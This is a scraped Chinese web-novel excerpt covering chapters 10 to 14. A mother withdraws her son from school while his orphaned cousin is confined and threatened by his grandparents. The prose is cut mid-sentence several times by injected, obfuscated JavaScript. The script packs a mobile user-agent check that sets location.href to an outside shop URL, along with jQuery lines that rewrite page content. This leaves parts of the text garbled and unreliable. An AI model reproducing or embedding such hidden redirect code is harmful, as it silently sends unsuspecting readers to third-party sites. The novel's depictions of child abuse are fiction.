不仅如此,这种麻烦的事居然有人愿意做啊,纪悠忍不住吐槽,“你还真不嫌麻烦的啊。” “还好。” 这是他应该做的,他没给这里的任何一个人说过,林墨在车祸中是为了护住他才当场身亡的。 他也因此获得了救援的机会,可以说林墨其实是他的救命恩人。 纪悠确实不知道,所以她震惊这兄弟可真够兄弟的。 她感到无语,“既然你都做到这地步了,那那些规矩其实根本也拦不住你了吧。” 所以先前扯什么领养规矩呢? 现在瞧着他想做的事怎么也有办法。 林叙白瞥开眼,“因为我不认为我有养育孩子的能力。” 这话说的糊里糊涂,但听起来似乎比之前有这么一点点可信度,但养孩子这东西,没养过怎么知道自己行不行。 就她目前来看,她就觉得自己做的还算不错。 就比如现在,她听见了孩子呼唤的声音,然后对沈介舟说,“我家孩子醒了,我就先回去了。” 沈介舟当然不好说什么,只能应和,“嗯,好。” 临走前纪悠不忘叮嘱,“还有不要让我看见你在我家门口晃悠第三次。” 沈介舟顿住,其实这也不是他想的,只是林叙白为了拿衣服来到这里,而他碰巧跟上而已。 所以她这次是为了警告他才专门从里面出来的吗? 他站在门口,就依稀听见林向晨的惊呼声,“什么?!林叙白居然来过。” “他是来拿衣服的。” “他居然还吃了妈妈煮给我的鸡蛋?” 林向晨在‘我’字上重点强调。 纪悠好奇他是怎么发现的,但她也有理由,“煮了四个,我吃一个就不想吃了。” 那向晨最多再吃两个,总会有个剩下来的。 林向晨坚定,“我可以吃三个的!” 纪悠看着人才八岁半,成年人一天也就只能消化一个半鸡蛋,她拒绝的很干脆,“我觉得你不可以。” 看人气鼓鼓的,纪悠耸了耸肩,但哄小孩她也有法子。 “看这是早上去早市给你买的玩偶。” 林向晨接过捧在怀里捏了捏手,这玩偶虽然是个兔子,但是不知怎的一看就很像妈妈。 他虽然开心了,但嘴上还是逞强,“这还差不多。” 纪悠草率地揉了揉小孩的头,没在意他这点的口是心非。 林向晨明显很喜欢,他左看右看,都想把它带进学校里了,纪悠看到书包,这才想起她这些日子忘记了什么。 那就是这么大年级的小孩都该上学的吧。 这阵子因为父亲去世,孩子这才请了一周的假,她看孩子一直在家,倒是快忘记这是了。 但林向晨又把玩偶拿出来了,“他们肯定会嘲笑这不像是男子汉喜欢的东西。” 纪悠:“你管他们说什么?垃圾才会嚼人舌根。” 林叙白从先前就觉得了,他妈妈自从爸爸死后变得好帅! 但他想清楚后也不想拿过去,就像爸爸的玩偶他藏着掖着,妈妈的也会被别人觉得他是个没人爱的可怜虫。 所以只要放在他的房间里面就好,最好再找个箱子放起来。 纪悠看他动作也没说什么,想带就带,想不带就不带,这是他的自由。 只是向晨下意识居然是藏着掖着吗?难怪林叙白瞧着像是不知道弟弟的缺爱,直到向晨在爸爸死后爆发了,才知道这些。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578617|187218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她对日期没有多少概念,等看了一眼日历,才想起后天就是周一了。 请假一周的话那后天就该去学校了吧,“那明天带你去买件新衣服,别浪费了这白得的假期。” 向晨这阵子因为这事那事,疯玩疯跑的性子反而啥都没干。 临开学了,她得带人去玩一玩才行。 她的小姨白如兰这天也跟着一起,替她还还价,纪悠觉得她现在真不用还价,基本村子里的老板看见她就给她低价,就算不知道的,旁边也会有提醒的。 纪悠站在摊位上看向晨试衣服,觉得她这些日子看来被当做洪水猛兽了啊。 这样蛮好,省的多费口舌了。 她也给自己买一件,也给小姨买一件好了,“小姨你这些日子一直忙着到我们这来没问题吧。” 白如兰白了她一眼,“别以为我像吴连翠那家伙一点做主的权利都没有。” 她的老公踏实,情感稳定,一儿一女也都组建了他们的家庭,还没要孩子呢,也用不着她太操心。 现在这关口,可不就得把注意力放在自家这个命运多舛的外甥女身上。 “你这些日子有没有想着用这笔钱学门手艺啥的?” “手艺?” 纪悠先前是末世做实验,研究新能源的,但现在这东西需要实验室和钱,没有人脉可不行。 她不好明说,只能含糊道,“等到时候自然就知道能学啥了。” 白如兰稀奇,自家悠悠向来有主意,当初说找个有钱人结婚就结了,生孩子就生了。 这还第一次看见人带着点迷茫的意味。 不过有沈介舟多给的那部分钱,能给悠悠多点的考虑时间。 提起沈介舟白如兰其实有点可惜,“我还没请人吃顿饭,那个小沈就走了。” 纪悠好奇,“什么时候的事?” “就今天上午,我亲眼看到的。” 他们村很少来外人,他开着大车在路上这么显眼,简直一眼就看到了。 纪悠觉得有点好笑,为了在林家没有防备,他还专门开着车在山路上做戏吗? 白如兰感叹这些天没见人卖多少东西,光顾着给死去的兄弟弄遗产办手续了,也真是不容易了。 “林墨这人不顾家,但在外面确实有点名堂,交的兄弟也厚道,现在这世道,兄弟能做到这样真是厉害狠了。” 纪悠拿起一件衣服又放了回去,果然小姨也觉得兄弟做到这份上有些太尽心了。 但沈介舟看起来就像是只专注事业,对人情世故不太深究的人,所以身上不缺钱,仅凭心意做到这一步也不是没可能。 虽然觉得有维和的地方,但沈介舟那人的态度是事实。 在她眼中,知道这点就足够了。 “虽然不知道具体原因,但是他可能比我们想象的更要‘讲兄弟情义’一点。” 白如兰不太理解悠悠为什么这么说,因为沈介舟虽然给了钱尽了心,但也是把孩子直接留给一看就不怎么尽心的林家之后,就走了。 他还能怎么更‘兄弟情义’? 她现在看林叙白这孩子都头疼,因为光想想就知道他在林家是什么境遇。 10. 第 10 章 今天是沈叔叔离开的日子,他在走之前专门来了林家一趟。 如果沈叔叔不来,他现在的情况甚至没办法主动去送他,那可是父亲死后这么千里迢迢为他置办丧事的人啊。 林叙白坐在床上,看着小小的窗子,不知怎么,这时候有点心慌的厉害。 林阳阳就是这时候进来的,林叙白皱眉,这些天这人进他的房间,甚至不需要敲门。 他重申了一遍,“我有说过,我在学习。” “当然就是看中你学习的时候才来的。” 林阳阳老早就想要林叙白的钢笔了,但奶奶非得说这时候不行。 等今天他说还想要,就没人拦他了。 所以他立马就来了,他看着林叙白的房间,这里面,换他以前,都不往这来的,也亏林叙白住的下去。 他直接一伸手,“这个钢笔,我的了。” 林叙白恼火,“这个钢笔,是我父亲送的礼物。” 简而言之,就是他爸爸给的遗物。 “我就要了,看你能把我怎么着?” 林阳阳做了个鬼脸,猖狂的不行,他根本不怕林叙白,换林向晨比他年纪大,力气大,他不敢怎样? 但林叙白比他年纪大,身体却这么瘦,他怕什么? 那他确实小看林叙白了,他虽然瘦,但动作快,抢回东西是没问题的。 不知怎的?林叙白觉得,林阳阳做鬼脸和他弟弟林向晨做鬼脸完全是两个不同的感觉。 后者觉得有点可爱,前者只觉得厌恶。 林叙白心绪纷杂,他没想对林阳阳动手,只是想拿回东西,但就这样,林阳阳还是哭闹个不停,甚至在地上撒泼打滚。 “我就要这个,今天你必须得给我。” 吴连翠听见动静赶过来,从地上抱起大孙子,然后看着林叙白,“你这个做哥哥的,怎么一点也不知道让着弟弟啊。” 林叙白握住钢笔的力气大了些,看了一眼吴连翠,又看了一眼林阳阳。 最后妥协般的,黑沉着眼睛递了出去。 “死人的东西,你要吗?” 吴连翠尖叫了声,她都不知道是遮住林阳阳的耳朵还是眼睛,手足无措的不行。 她埋怨道,“这么不吉利的东西,你还拿出来干什么?” 林叙白也不是想用,他只是想念爸爸的时候,会拿出来看一眼。 但吴连翠最后还是如他所愿,劝了劝自家孙子,“这东西不好,咱还是不要了吧。” 有人纵着,林阳阳更不依不饶。 “不行!我就要我就要!” 吴连翠拿大孙子没辙,只能看向林叙白。 “你说你什么东西都有,你弟弟都这样了,你就拿点什么东西出来哄哄他就是了。” 林叙白沉着脸,他视线从林阳阳身上离开,然后把桌上的另外一只钢笔递给了他。 这是学校里的奖品,同样价值上百。 他不想给,但这是他住在这里需要付出的,虽然有点预料到了,但真的面临这一切的时候,原来是这种感觉。 吴连翠这才满意了些,她看林叙白,眼神充满了拿捏,就是这样听话才好。 她拿着钢笔在林阳阳面前展示了一圈,“这以后啊,咱也有好钢笔啊,说不准啊,以后能当大文豪呢。” “我要考清华,上北大!” 吴连翠更激动了,她连连点头,“对对对,就得这么有志向。” 他们俩直到夸奖的满意了,才从房间里出去,林叙白赶紧把门关上,想锁上门才想起这个房间本来就是杂物间,根本没装门锁。 房间隔音不好,他还依稀能听见吴连翠出去的念念叨叨,他捂住耳朵,一时不知道如何是好? 外面的吴连翠把钢笔给了林阳阳,同时教他别往嘴里塞。 林全打了个哈欠走出房间,他今天休班,听见鬼哭狼嚎,就算是自家儿子,也觉得心烦。 “这是咋了?这么闹腾。” “阳阳想要林叙白的钢笔,但那是林墨的脏东西,这玩意哪能要啊,我一直在劝呢。” 林全看着儿子手里确实拿着钢笔,瞌睡虫都跑了一半。 “难道就是这个?” “那当然不是,是另外一支。” 林全松了口气,他看了一眼外面,“那个沈介舟刚走,搞这么大动静干嘛?万一这小子跑去告状怎么办?” 这个叫沈介舟的看起来这么有本事,说拿这么多钱就拿了,事情让办也给办了。 说不准,真的能把他们家拿到的给要回去呢。 吴连翠不信林叙白现在还能去告状,“我亲眼瞧见人在大马路上走了的,这还能有假。” 林全想的比吴连翠多一点,“万一他中途忘干点什么事,又把车开回来怎么办?” 走这么一半天,转个道都废不了什么时间。 总而言之,还是得小心点。 “你都因为这事丢了一套房子了,就不能长点心吗?” 吴连翠气的跺脚,因为这事她都要被埋汰好几天了,这个沈介舟,都走了还不让她好受。 她恨恨地看了一眼林叙白的房间,决定等确定沈介舟彻底走了,有这小子好受的。 —— 周一。 林向晨坐在课桌上,请了一个星期假学校没什么变化,只有课程听不懂,但他以前上课也听不懂。 还是这么无聊,不如叠纸飞机。 他叠纸飞机也是非常简单,直接拿课本把上过的课给撕下来叠着玩。 等下了课,他跑到操场试试纸飞机能飞多远,他的同学彭亮这时候来找他。 他疑惑问,“你来做什么的?” “来看你纸飞机做的怎么样呗。” 彭亮一副哥俩好的样子,但林向晨可不觉得两人关系有多好,他还因为这人嘴贱打过他呢。 林向晨纸飞机不让他碰,冷淡至极,“没啥事别来烦我。” 彭亮还是没眼色的硬凑上去。 “今天林叙白没来学校你知道不?” 林向晨觉得真烦,他怎么到哪都逃不了这个名字。 再说了林叙白现在都搬出去了,他怎么会知道他的事,他直截了当的回道,“不知道。” 彭亮捂着嘴震惊,“你怎么会不知道?” “我就是不知道,怎么了嘛?” 彭亮觉得有点好笑,“就是你妈虐待的他不能上学,这事你不知道?” 林向晨黑了脸,把纸飞机揉了揉砸他头上,“你胡说什么呢?信不信我像上次那样揍你。” 他其实很讨厌上学,这就是原因之一。 学校里的每个人,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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纪悠怀疑地看了看对方的脑子,这事是她家孩子的问题吗?难道不该是这人挑衅的问题吗? “你们对这个挑衅的孩子有什么处理吗?” “他那是差点被打的孩子,是受害者。” 她漫不经心的靠在沙发上,明白这意思那就是没有了,“我觉得他有错。” 老师气闷,“小孩子发生口角很正常,但不正常的是吵了两句就要动手打人,这才是不对的。” “那这次学校的要求是什么?” 老师一看都问这话了,那必然是想要带回去好好管教的,于是态度也和缓了些。 “是你好好教育孩子,再让孩子写个一千字的检讨书,检讨孩子以后绝对不会再这样做。” 纪悠觉得她这次真是来对了,她站起身,“那我给孩子办退学。” 老师震惊,“退学?!你不让孩子继续接受教育,是想孩子以后成为一个乱打人的社会败类吗?” 纪悠同样拍了拍桌子,但这次的力度要比老师拍的大很多。 她的力道虽然粗鲁,但动作依旧松弛。 “我这次是警告你,我的孩子没有任何错,再说一句社会败类的话,你可以试试。” 11. 第 11 章 纪悠从办公室出来,她去到向晨的教室。 “去把东西收拾出来。” 林向晨不太明白,但从外面可以听见拍桌子的声音,是老师冲妈妈发火了吗? 所以妈妈也生气了? 他不想给妈妈说原因,但他还是觉得,“我没错。” 纪悠笑了笑,“没错?” 林叙白捏了一段细小的距离,“或许有这么一点冲动的错。” “不,你没错。” 纪悠对向着自己的小孩向来有最大程度的宽容,“去收拾东西吧,我们去办退学。” 林向晨瞪大眼睛,居然是要给他办退学?! 他脑海里有了个猜想,“是老师强制让我退学的吗?” 纪悠觉得有个点需要纠正,“不是所有人都值得你尊称他一句老师的。” 那现在,她来回答向晨的问题,“不是学校强制,是我主动提出来的,这学校如果是这种风气,实在没必要上,纯属是浪费时间。” 还不如带回家,她自己教的好。 林向晨眼睛亮晶晶的,他以前,从来没想到过这么做,他果然早就该给妈妈说,他其实特别讨厌来学校了。 他收拾好东西,背着书包屁颠屁颠的跟在妈妈后面。 纪悠看了人一眼,觉得有点好笑,“就这么开心?” “不光是退学,还有就是我学到了东西。”那些垃圾,才不值得他浪费时间和精力呢。 纪悠笑了,拍了拍他的脑袋,“事情的起因那人跟我说了。” 林向晨小心翼翼地抬起头,难道是说妈妈知道这些日子她被人说神经病了。 纪悠:“是因为说林叙白不上学?” “才不是呢!” 林向晨觉得他刚刚情绪有点太激动了,于是咳嗽两声重复了一遍,“才不是呢。” 他撇开头,“我甚至都不想提他。” “是吗?那我其实对他不上学的理由还是有点好奇的。” “妈妈!” 纪悠听见呼唤,有些迟钝的情绪总算在这一刻认识到了,她明白林向晨为什么总是在一起林叙白这么激动了。 她轻轻笑了下,语气大概是从未有过的温柔,“小孩,你到底在想些什么啊?要知道,你可是我亲生的孩子。” 这个世界没有比这更稳妥的关系了,不是吗? 还有就是,纪悠同时也觉得从一段糟糕的社会关系中摆脱,那可是太适合庆祝的一件事了。 今天不用做饭了,她直接带着人去下馆子。 两个人吃个四菜一汤虽然有点多了,但今天开心嘛,剩下的也不是浪费,毕竟可以打包带走。 纪悠看了看菜单,然后问小孩,“还要来杯饮料吗?” 林向晨举手,“我想喝橙汁。” “当然没问题。” 纪悠扶着下巴,这边的菜都是现炒的,所以在下单之后是需要一个漫长的等待时间的。 “妈妈,我想上厕所。” 纪悠觉得有些人就喜欢在吃饭前上个厕所,从这些日子的经历来看,向晨或许是其中之一。 她记得餐厅里面没有,但在外面会有个公共厕所,她拦住一个要走的食客,“你好,能麻烦你一下,能帮忙带我的孩子上个厕所吗?” 戴着墨镜换了发型的沈介舟看了她一眼,他怀疑对方就是认出来他了才这么做的。 但他现在确实不着急,于是他点点头,“好。” 他带着林向晨去了男厕,林向晨从来没和他见过面,有礼貌的说了句‘谢谢叔叔’。 沈介舟觉得这经历对他来说还真是头一遭,但也可以理解,毕竟这个时期,外面的坏人真的很多。 等人上好厕所,沈介舟监督人洗好手才带人出去。 纪悠在饭店门口等着他们,她看了一眼沈介舟,想到他为了看林叙白过的好不好,就换上这样一身装扮在附近徘徊就真的很好笑。 她从沈介舟手里接过她家孩子,“饭已经做好了,就等你回来吃了。” 这个举动非常自然,在场三人都没觉得有什么,但在外人眼中,这不就是纯纯一家三口的搭配吗? 有一个女生从附近过来,她看向沈介舟,“这就是你说的你不适合抚育子嗣。” 纪悠挑了下眉,是桃花,但从沈介舟的长相来看,这似乎也很正常。 因为他的长相,在大众眼中确实算是帅气。 “他怎么说的?” “他说他父母双亡,父亲家暴,母亲酗酒,这样的基因他自己都不想传承下去。” 纪悠想到原著,觉得沈介舟说的这话也不一定全是假的。 她看向沈介舟,他不发一言,似乎是觉得这个时候该交给她去解释,不然他解释,是给女士没脸,而且也会被追求者认为他是在推卸责任。 至少纪悠是这么认为的。 她笑了笑,“女孩,你确实误会了,他只是一个帮我孩子送去上厕所的路人而已。” 她觉得这分说辞已经足够严谨了,但女孩还是打量了一下孩子长的和大人不像才彻底离开,离开前还说了句‘抱歉,误会了。’ 纪悠觉得不需要抱歉,她不怎么在意这个小插曲,还意外的从女孩身上知道了沈介舟的信息。 “你对待这种喜欢你的小女孩还是蛮坦诚的嘛。” 沈介舟神色没有任何波动,“胡说的,我遇到这种情况都会这样胡说。” 纪悠思量了下,没说是信还是不信。 “那我上次让你当后爸,你怎么不这样拒绝我?” 沈介舟回忆了下,“情况不一样。” “那如果我像这个小姑娘一样跟你告白呢?” “那我也不会这样跟你说的。” “为什么?” 沈介舟这次停顿的久一点,他思考后抬眼,“因为这种话吓得到小姑娘,但是吓不到你。” 纪悠觉得在这点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578619|187218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,沈介舟说对了。 —— 林叙白在林家吃饭,一个四四方方的方桌,他坐在角落。 随着沈叔叔走后六七天,确定他不会回来后,他在这个家的待遇也越来越差。 林叙白抿唇,“其实我拄着拐也能去上学了,不用奶奶你送的。” 吴连翠否决这个提议,“你要是路上摔一跤,那外人肯定以为我们虐待你啊。” 林叙白攥着手心,“马上就期中考试了。” 吴连翠觉得对啊,“对啊,你快期中考试了,阳阳也快期中考试了,你成绩好,不如在家给阳阳好好补习补习。” 这样啊,能让阳阳期中考试能拿到更好的分数。 林叙白明白过来,“以后我都不能去上学了吗?” 意思是拿了他爸这么大笔的遗产,还要把他困在家里不去上学是这样的意思吗? 他们怎么有脸? 吴连翠觉得话怎么能这么说,“你都五年级了,也快小学毕业了,这周边的哪有父母不在身边还能念这么久的学的,等小学毕业了,你就在家给阳阳辅导一下功课,然后给家里干干活就行了。” 等之后,看他能不能在附近找个活,然后再上交工资。 但这么远的打算,就暂时先不提了。 林叙白明白,现在他的抚养人是林家,如果林家在退学书上签字,那他必定是上不了学的。 他看向他爷爷,这是这个家里唯一有可能向着他的人了。 林国栋吃了一口土豆丝,他抬眼注意到林叙白的眼神猛然一惊,没别的,就是这双眼,太像他那个死去的儿子,林叙白的爸爸了。 那时候林墨也是这么看着他,然后等长大翅膀硬了,就远走他乡。 连他死后法定遗产都没给他留一分一毛。 林国栋想到那小子干的那些事,气就顿时不打一处来,把酒杯扔过去,正中林叙白的额角。 林叙白扶了下额头,这个地方已然出现一片红肿,隐隐作痛。 或许是认清现状,林叙白的眼神变得黑沉起来。 “就是等我上好了学,再来辅导阳阳弟弟这样才能更好吧。” 林叙白的成绩桌上的人那是都知道的,学校里都说林叙白这成绩有可能能成为他们村第一个大学生。 等林叙白考上大学,那还愁不能再辅导出一个大学生吗? 吴连翠是第一个同意的,林全也有些动心,林国栋默不作声,不知道他心里怎么想。 最后吴连翠先开口,“这次的期中考试,你就先去学校看看吧。” 看他有没有这个本事再说。 额头的伤口没有人再提,好像大家都心照不宣默认了这个结果,林叙白扶着半边额头,觉得半边脸都麻麻的。 也不知道它能不能自己找好,不能的话就麻烦了。 在他去参加期中考试的时候,吴连翠在他额头放了个纱布,似乎是想着,这样就能好看些。 12. 第 12 章 林叙白是被吴连翠送来的,考试中,他抚了抚额角,脑子没有混沌,甚至因为疼痛变得更清醒了。 这一周虽然在家,但他没有停止过学习。 所以试卷上的题目对他来说不算难。 等交了卷,他站起身想去楼下,一个人叫住了他,林叙白认识这人,这人是他学校的年级第二李哲。 “你已经一两周没来学校了,没想到会在期中考试见到你。” 林叙白从话里面听出了不欢迎的意味,他默默收拾东西,“考试还是要来的。” “那考的怎么样?” “一般。” 李哲咬了下牙,又是一般,每次林叙白说一般的时候,林叙白的成绩总是能轻松碾压他。 他吸了口气,看人的伤腿嘲笑,“你这腿还是别乱动的好。”李哲见人神色不变,继续说,“有什么是你要拖着这么一条腿也要去做的呢。” 眼前人在过道一动不动,林叙白瞥开眼,“去看我弟。” “林阳阳?” “是林向晨。” 李哲感到稀奇,“他妈都把你腿弄成这样了,你还把林向晨当成你弟啊。” 林叙白神色愈发冷淡,“不关你事。” 这怎么不关他事了,李哲咬牙,就因为林叙白来学校了,他这次的年级第一又泡汤了。 但气闷缓和过来之后,李哲想起件事,又忍不住嘲笑,“可惜你应该见不到你弟了,他前阵子打架斗殴,他妈已经给他办了退学了,不过也对,一个学渣还喜欢打架斗殴,指定是个混混了,还浪费钱供他读书做什么呢,你说对吧。” 林叙白皱着眉头,从这段话里面听出重点,“退学?” 李哲还想来堵他,直接被他推开。 林叙白厌恶地看了一眼李哲,那眼神里的含义很明显,意思是‘好狗不挡道。’ 后腰猛地被撞了这么一下,李哲嘶了声,林叙白的力气居然这么大,还有他的眼神,真让人发怵。 真是疯了,一家三口,全都是疯子。 李哲扶着腰,气的咬牙切齿。 林叙白去到三年级教室,发现向晨的书桌真的是空的。 她居然真的给向晨办了退学? 为什么?她明明是这么的疼爱向晨。 上学对一个孩子来说多重要,她应该比谁都清楚,因为当初爸爸就是多读了点书才能在外面做出一番事业的。 难道她是疼爱向晨疼爱到,就算向晨一辈子不上学也能承担起他一辈子吗? 还是单纯的觉得向晨的成绩不读书,找到别的出路才是最好的呢。 林叙白扶着脑袋,感觉刚刚还清醒的脑子现在又开始疼了。 他靠着栏杆,缓和了半天情绪。 考试已经结束,他没有继续待在这的必要了,他本来在这周给向晨做的成绩提升计划,现在也没有用了。 林叙白把计划书扔到垃圾桶,等来到门外,看见了一个意外的人。 “爷爷,你是来接林阳阳的吗?” 林国栋摇头,吴连翠已经把阳阳接走了,他这次来是为了别的事情来的。 “我来是来给你办退学手续的。” —— 纪悠把小姨给的花卷放在橱窗里,这样又能糊弄吃饭好几天了。 剩下的如果小姨不来,她还是去买算了,吃了餐厅的,她对自己做的菜容忍度又低了一点。 反正拿到遗产的她,现在也负担得起这笔消费。 她拿出一百块,今天就打算点两个肉菜一个素菜,再打包带回来,等放到盘子里,也不知道就向晨那个味觉不敏感的能不能吃出来差别。 纪悠觉得有点好笑,她把钱放进钱包的时候,似乎察觉到了什么。 等推开房门,看到的就是沈介舟。 “我应该说过不要在我家门口晃悠第三次。” 沈介舟记得,“所以我这次打算敲门。” 纪悠记得刚刚沈介舟确实有这个动作,她说‘请进’,就算是接受这个解释了。 “要我给你泡杯茶吗?” 沈介舟非常识趣,“不用。” 那就好,纪悠懒得忙活,“所以你这次找我是什么事?” 真好奇啊,两人的关系绝对算不上亲近,甚至沈介舟还会在两人独处的时候如坐针毡。 现在却换了身打扮,冒着被发现的风险来找她。 所以,到底发生了什么事? “叙白他昨天去上学,我注意到他额角上有新的伤口。” 纪悠想起对方的试探和怀疑,“你该不会是想说他这是因为路走不稳,不小心摔的吧。” “不,这是被杯子砸到的伤口。” 纪悠好奇, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“还有我,什么?” 纪悠指着他,“还有他的爸爸居然找了另外一个人来关心他的另外一个儿子。”这多残酷啊。 13. 第 13 章 纪悠眼中,她说完这句话,沈介舟闭上眼。 或许是在反省忽视向晨,又或者是伤心林叙白只能在那个环境生活下去,不过最有可能的,是两者都有。 等纪悠又看过去时,沈介舟已经站起身。 “我去准备与‘遗嘱信托’相关的文件。” 纪悠虽然稀奇事情到了这一步,也没改变沈介舟养育孩子的想法。 但她什么都没说,只是挥了挥手,“慢走。” 沈介舟和林向晨擦肩而过,林向晨的视线放在沈介舟脸上好几秒。 他觉得这个长相似乎有点眼熟。 他绝对见过,但是印象不深,过了几秒他想起来,所以这不就是那个路上送他去上厕所的叔叔嘛。 林向晨坐在纪悠对面,“妈妈,你该不会因为他送我去趟厕所就想和他处对象了吧。” 纪悠不敢想象在林向晨眼中事情是这样的,她看起来难道很像容易一见钟情、外加容易以情感为重的人吗? 但这个时候男女之间频繁交流似乎确实会让人怀疑是第二春。 她想了想解释说,“这人是这些日子来宣布遗产分配的那个。” “是他?!” 林向晨的声音充满嫌弃,主要是这些日子在房间里,只能听见声音,完全看不到人。 居然是这个讨厌的家伙。 林向晨突然觉得上次见面他的态度太好了! 他就应该一个左勾拳一个右勾拳的把他的小腿打的满腿淤青才对。 纪悠看人表情,虽然不知道他在想什么,但绝对不是什么聪明的想法。 她感到有些好笑,然后有些许好奇向晨知道这些之后,会对他原先的猜测,‘她和沈介舟处对象’这件事有什么看法。 她这么像也这么问了,“如果我真要他当你后爸呢?” 林向晨停顿了很久,然后不情不愿地搓着手指。 “那他有自己的孩子吗?” 纪悠确实没想到在向晨知道沈介舟的身份后,最先问的居然是这个问题。 她挑了下眉,“是我原先解释的不够清楚吗?” 她们亲生母子的关系是最牢不可破的。 “才不只是这件事呢?” 那还能是哪个?纪悠疑惑了下,随即从向晨的眼神中看到了对她的担忧,所以是在担心她又当后妈受委屈吗? 纪悠乐不可支,伸手把林向晨搂进怀里。 不过仔细一想确实,在原著中向晨就是这样会为母亲着想的孩子。 拿到遗产但不会管理,大手大脚没剩下多少,孤儿寡母,在这穷乡僻壤又是容易受欺负的角色。 所以没钱没学历的向晨,为了保护妈妈,只能选择去当兵。 为的就是挣功勋,能够衣锦还乡。 纪悠想到这,不由得满意地摩挲着向晨的小脸蛋,应该说不愧是她的孩子吗? —— 林叙白脸色苍白,今天林国栋给他办理了退学。 因为他们是他的监护人,理所当然地有了这个权利,甚至在事后通知他也是可行的。 有点想笑,他和向晨同样退学,向晨是因为爱,他却是因为恨。 他到现在还记得,林国栋那阴狠的表情。 因为当时的黄昏,林国栋背着光,在他眼里还显露出一丝狰狞,‘我是不可能让你们父子俩,一套把戏耍两遍的。’ 在林国栋眼中,爸爸是翅膀硬了才学会飞,所以到了他这,控制他的方法很简单。 只要把翅膀折断就好了。 林叙白有一瞬间呼吸困难,因为他的房间刚刚才上了锁,但不是在室内,而是在室外。 就像是被完全的监.禁了一样。 一片黑暗中,是吴连翠率先打开了门,她拿着碗筷,明显是来送饭的。 她把碗重重一撂,“不是说了吗?退学这事已经定了,你还是照样可以学啊,就在家学,我们给你借书,你就学好了辅导阳阳就行了。” 林叙白撑着身体,“你们也不怕我把林阳阳教坏。” 怎么不怕?吴连翠怕死了。 但是林国栋说她光顾着眼前这点蝇头小利,全然忘了林墨当初就是用的这一招,先在家隐忍,然后有学历了远走高飞。 她仔细想想,确实也是。 林墨回来还大肆造谣他们虐待继子,后来的好一段时间甚至现在,还有不少人家吐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578621|187218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们口水,戳他们脊梁骨呢。 所以林国栋这么一分析,她对他的主意那是举双手双脚赞成。 现在的情况,吴连翠也有法子。 吴连翠把碗重新端走,那就是不学习你就饿着吧。 她把房门重新落了锁,林国栋正巧拿着茶杯经过,“那小鬼又搞出什么幺蛾子?” “他不肯学习。” “不肯学习?”林国栋觉得林叙白还不如他爸识趣,“那就饿到他肯学为止。” 吴连翠也是这么想的,但她同时也害怕真把人饿死了,那事可就大了。 林国栋‘啧’了一声,觉得这小子执拗成这样还有可能让吴连翠说中了。 他干脆换了个方式威胁,“不肯学就打断他的腿。” “你疯了?这样还怎么把人带出去。” 吴连翠是想着,干脆饿人两顿,等人心气消了,在外面不敢造次了,还能带出去让人瞧瞧他们拿了钱,也是尽心养着的。 要是怕他乱说话,大不了,也就是出门的时候看的严实点。 但腿一瘸,那村里面不都看的清清楚楚明明白白的了吗? 林国栋哪能不明白这点,但是换个角度想想,“他那腿不是被我们的好儿媳妇弄伤的吗?到现在也没好,伤口反反复复,小孩子正发育呢,最后有了点残疾也不是很正常的事吗?” 吴连翠感叹这主意真是妙,既防止了人逃跑,还能把他们家摘得干干净净。 对啊,腿瘸了他们顶多算照顾不周。 大头还是纪悠那女人把林叙白弄伤的缘故。 两人接下来都不说话,空气似乎凝固了,似乎就等着一方先示弱。 于是接下来吴连翠就听到了房门被敲响的声音。 林叙白面色黑沉,抬起的那只手无力的垂在身侧,“我会学的,所以,不要打断我的腿。” 门外的林国栋满意了,早这么说不就行了。 还省的这么麻烦。 他没把饭重新送进去,而是警告,“这次就不给你吃饭了,让你长个教训。” 林叙白闭上眼,或许是第一次觉得自己有点可笑吧,这样的境遇,居然是他自己主动选择的。 14. 第 14 章(大修!!!) 林叙白近期没出门过,不是不想出,而是不让出,期中考试的成绩吴连翠给他拿了来,转手被他扔进了垃圾桶。 